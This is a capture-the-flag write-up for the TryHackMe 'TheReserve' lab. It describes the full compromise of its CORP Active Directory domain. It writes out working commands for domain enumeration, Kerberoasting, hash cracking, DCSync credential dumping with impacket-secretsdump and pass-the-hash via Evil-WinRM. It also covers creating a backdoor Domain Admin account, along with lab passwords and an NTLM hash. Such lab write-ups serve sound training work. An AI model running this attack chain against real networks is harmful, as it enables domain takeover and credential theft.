# Full Compromise of CORP Domain

## Used Tools

sshuttle

DNSChef

Bloodhound-python

neo4j

Bloodhound

impackets GetUserSPNs.py

Hashcat

impackets secretsdump

Evil-WinRM

Remmina

## Summary

With the previously established connection through sshuttle it is possible to enumerate the domain with Bloodhound-python without the need to drop SharpHound on any machine internally. Due to DNS errors, a fake DNS via DNSChef was set up. Next, we will be using neo4j with Bloodhound to analyze the results of Bloodhound-python. The first thing that catches immediately the eye was that Administrators and Domain Admins have the capability to enable a dcsync attack. But also there were some Service Principals who are kerberostable. With the use of impackets GetUserSPNs.py we are able to get the Kerberos hashes of five Service Principals, one was crackable via Hashcat. The svcScanning account. Running Bloodhound again with the more elevated user svcScanning we find that svcBackups has also the ability for a dcsync attack. With the hope to get the credentials of svcBackups whether it is in clear text or a hash, we run impackets secretsdump with the user svcScanning and retrieve the clear text credentials of svcBackup. From there we run impackets secrectsdump again, this time with the user svcBackups, and are able to get the hash of the local administrator of the child domain controller corpdc. With this, we perform a pass-the-hash attack and pass the hash via Evil-WinRM to the child domain controller. From there we create our own user 0xb0b, adding him to the Domain Admins, and are now able to fully compromise the CORP Domain and are able to RDP into the child domain controller with the newly created user.

## Investigation

First, we try to enumerate the domain with Bloodhound-python but receive a DNS error. The same issue occurred, passing the connection through ssh dynamic port forwarding and using ProxyChains. In this case `--dns-tcp` has to be used. To evade this problem, a fake DNS was set up.

{% hint style="info" %}
Using Bloodhound-python with ProxyChains and DNSChef

<https://www.youtube.com/watch?v=4ydjpSSKQ8g>
{% endhint %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fjy9VvUiY0ZFWmXcahioc%2FUntitled.png?alt=media&#x26;token=e2978a57-72ac-4f2c-82ee-bbb3ff01693f" alt=""><figcaption></figcaption></figure>

Running the following to establish a fake DNS.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FIDLBYcVq1uLqJuHi5IYn%2FUntitled%201.png?alt=media&#x26;token=14fc598d-7012-4eba-ba41-d8f02b2e2166" alt=""><figcaption></figcaption></figure>

This time the command looks a bit different. The nameserver is now our localhost everything else remains the same and we are able to enumerate the domain.

```
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/capstone/bloodhound/laura.wood]
└─$ bloodhound-python -d corp.thereserve.loc -u laura.wood -p 'Password1@' -dc corpdc.corp.thereserve.loc -c all -ns 127.0.0.1
let
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FllHJliPWbziVJy1sTZmw%2FUntitled%202.png?alt=media&#x26;token=ee14a6db-3d65-41a8-a6d7-70e87d3515c9" alt=""><figcaption></figcaption></figure>

let’s start neo4j and run Bloodhound to find some interesting stuff on the domain.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F78prEMJcfhXbqsPYK8Df%2FUntitled%203.png?alt=media&#x26;token=d2b7df76-d428-48a0-b7e9-84a70e08df61" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fq5ESFD99bzxwoFT02nok%2FUntitled%204.png?alt=media&#x26;token=851d7df8-8d72-4711-9316-2aba8611087a" alt=""><figcaption></figcaption></figure>

Just drop the files into Bloodhound.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FDotd2F6ASHzXK7nWoWIM%2FUntitled%205.png?alt=media&#x26;token=7caed15b-74ad-4eb8-8d85-94f436861bcb" alt=""><figcaption></figcaption></figure>

The first thing that catches the eye is that we are able to find groups with the ability to perform dcsync attacks which might interesting for the full compromise of the parent domain. In a `dcsync attack`, credentials are harvested by simulating a domain controller asking to replicate information of another domain controller. This can be accomplished remotely via impackets `secretdump.py` or locally running mimikatz on a victim machine with `lsadump::dcsync`.

{% hint style="info" %}
<https://tryhackme.com/room/persistingad> Persistence through Credentials
{% endhint %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FYz4pLlpFxvFTligyxQb1%2FUntitled%206.png?alt=media&#x26;token=dd6abbb1-54fe-4d4b-b762-caa0c3be4dad" alt=""><figcaption></figcaption></figure>

Administrators And Domain Admins are able to perform a `dcsync` attack.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F1g5F5toHuAVy6chXq8Om%2FUntitled%207.png?alt=media&#x26;token=e7ea7400-1a92-4b79-aa46-37b89f3fd800" alt=""><figcaption></figcaption></figure>

Running `GetUsersSPN`s to get any information about the ServicePrincipalNames in the hope to get a more elevated user.

```
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/capstone]
└─$ /usr/share/doc/python3-impacket/examples/GetUserSPNs.py corp.thereserve.loc/laura.wood:"Password1@" -dc-ip 10.200.103.102 -request
```

Here we have the hashes of`svcBackups`, `svcEDR`, `svcMonitor`, `svcScanning` and `svcOctober`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fnxnh9lY6nOTpUZeID3jX%2FUntitled%208.png?alt=media&#x26;token=84386455-f614-4ad0-8860-19dcc4defff2" alt=""><figcaption></figcaption></figure>

Trying to crack any of the hashes gives us the credentials of `svcScanning:Password1`

We chose to use mode 13100 for cracking Kerberos 5, etype 23, TGS-REP hashes.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F0enxHSTiN63Iqnv0Tdpm%2FUntitled%209.png?alt=media&#x26;token=3ddab18c-d113-4236-8a45-e0ff2ba2d545" alt=""><figcaption></figcaption></figure>

Next, we repeat the bloodhound enumeration, this time with `svcScanning`.

```
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/capstone/bloodhound/svcScanning]
└─$ bloodhound-python -d corp.thereserve.loc -u svcScanning -p 'Password1!' -dc corpdc.corp.thereserve.loc -c all -ns 127.0.0.1
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FtEbSTJQLvsT5U79pKMod%2FUntitled%2010.png?alt=media&#x26;token=1d977bcf-eb3d-4580-8ff0-e77e4dadc6d0" alt=""><figcaption></figcaption></figure>

After deleting the database and resetting the database stats, we drop the results of `svcScanning` in.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FzSiexgf2nLCkZaKFdMqz%2FUntitled%2011.png?alt=media&#x26;token=85959d92-3f6f-4175-9ab8-824402b7ba4b" alt=""><figcaption></figcaption></figure>

Checking out the `shortest path to high value targets` reveals to us the user `svcBackups` has also the capability to perform a `dcsync` attack.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fsfi7WylA7GmGoyRA0j5p%2FUntitled%2012.png?alt=media&#x26;token=3554fd7d-d175-4818-bb0c-f014d51a7d2d" alt=""><figcaption><p>Bloodhound: Shortest Path to High Value Targets</p></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FxlW82FFH9eiwVj31HxNL%2FUntitled%2013.png?alt=media&#x26;token=79e1ba53-83a0-473b-812e-e3da47e4f0ff" alt=""><figcaption><p>Bloodhound: Node Info svcBackups - Reachable High Value Targets</p></figcaption></figure>

Running `impackets-secretsdumps` with the user `svcScanning` in the hope to get any credentials of `svcBackups` or another high value target.

`impacket-secretsdump corp.thereserve.loc/svcScanning:'Password1!'@10.200.103.31`

```
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/capstone]
└─$ impacket-secretsdump corp.thereserve.loc/svcScanning:'Password1!'@10.200.103.31
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FEgSOjlyqbUI42hfANTxw%2FUntitled%2014.png?alt=media&#x26;token=05548641-b055-43e0-b9c1-fc15bc0353cd" alt=""><figcaption></figcaption></figure>

`svcBackups@corp.thereserve.loc:q9nzssaFtGHdqUV3Qv6G`

And we are getting `svcBackups` credentials with `dcsync` capabilities

With this user we run again `impacket-secretsdump` and are able to retrieve the local Administrator hash.

```
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/capstone]
└─$ impacket-secretsdump corp.thereserve.loc/svcBackups:q9nzssaFtGHdqUV3Qv6G@10.200.103.102
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FVfnvPCWm5LgF0qRC89PJ%2FUntitled%2015.png?alt=media&#x26;token=55cef300-8b0c-477a-b9c9-bf4b2f9908a5" alt=""><figcaption></figcaption></figure>

Using Evil-WinRM and the pass the hash attack we are able to directly connect to the child domain controller corpdc.

```
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/capstone]
└─$ evil-winrm -u Administrator -H d3d4edcc015856e386074795aea86b3e -i 10.200.103.102
```

Running the following commands to add our own user and adding him to the Domain Admins.

`New-ADUser 0xb0b`

`Add-ADGroupMember -Identity 'Domain Admins' -Members 0xb0b`

`Set-ADAccountPassword -Identity 0xb0b -NewPassword (ConvertTo-SecureString -AsPlainText "WhoKnows1337Me?" -Force)`

`Enable-ADAccount -Identity '0xb0b'`

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FebZZ779yGHJVKBuSNQIl%2FUntitled%2016.png?alt=media&#x26;token=0b4d6505-682c-43e3-8601-4bf7f8a75d4f" alt=""><figcaption></figcaption></figure>

Next we use Remmina to connect to the domain controller as 0xb0b.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FICZN9ZwFMrmPCWiAYAXI%2FUntitled%2017.png?alt=media&#x26;token=dc99be73-0eca-4a30-9969-d828a9beff51" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FXWY8FvvgGWOrkmPVvMft%2FUntitled%2018.png?alt=media&#x26;token=bfbd88bb-aab5-438b-9c9a-4f91012f714d" alt=""><figcaption></figcaption></figure>

Connected to the domain controller as our user we are able to start the command line as administrator from there we are able to reach every machine in the corp domain and placing our proof of compromises on the given locations to retrieve the flags.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FDFaugkMlWhmdmotYhkfZ%2FUntitled%2019.png?alt=media&#x26;token=7ddd7f2b-df3c-4dea-8a3e-528d22da8226" alt=""><figcaption></figcaption></figure>

## Flag-4: Administrative access to Corporate Division Tier 2 Infrastructure

```
echo XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX > \\wrk1.corp.thereserve.loc\c$\Users\Administrator\0xb0b.txt
```

## Flag-5: Foothold on Corporate Division Tier 1 Infrastructure

```
echo XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX > \\server1.corp.thereserve.loc\c$\Windows\Temp\0xb0b.txt
```

## Flag-6: Administrative access to Corporate Division Tier 1 Infrastructure

```
echo XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX > \\server1.corp.thereserve.loc\c$\Users\Administrator\0xb0b.txt
```

## Flag-7: Foothold on Corporate Division Tier 0 Infrastructure

```
echo XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX > \\cropdc.corp.thereserve.loc\c$\Windows\Temp\0xb0b.txt
```

## Flag-8: Administrative access to Corporate Division Tier 0 Infrastructure

```
echo XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX > \\cropdc.corp.thereserve.loc\c$\Users\Administrator\0xb0b.txt
```
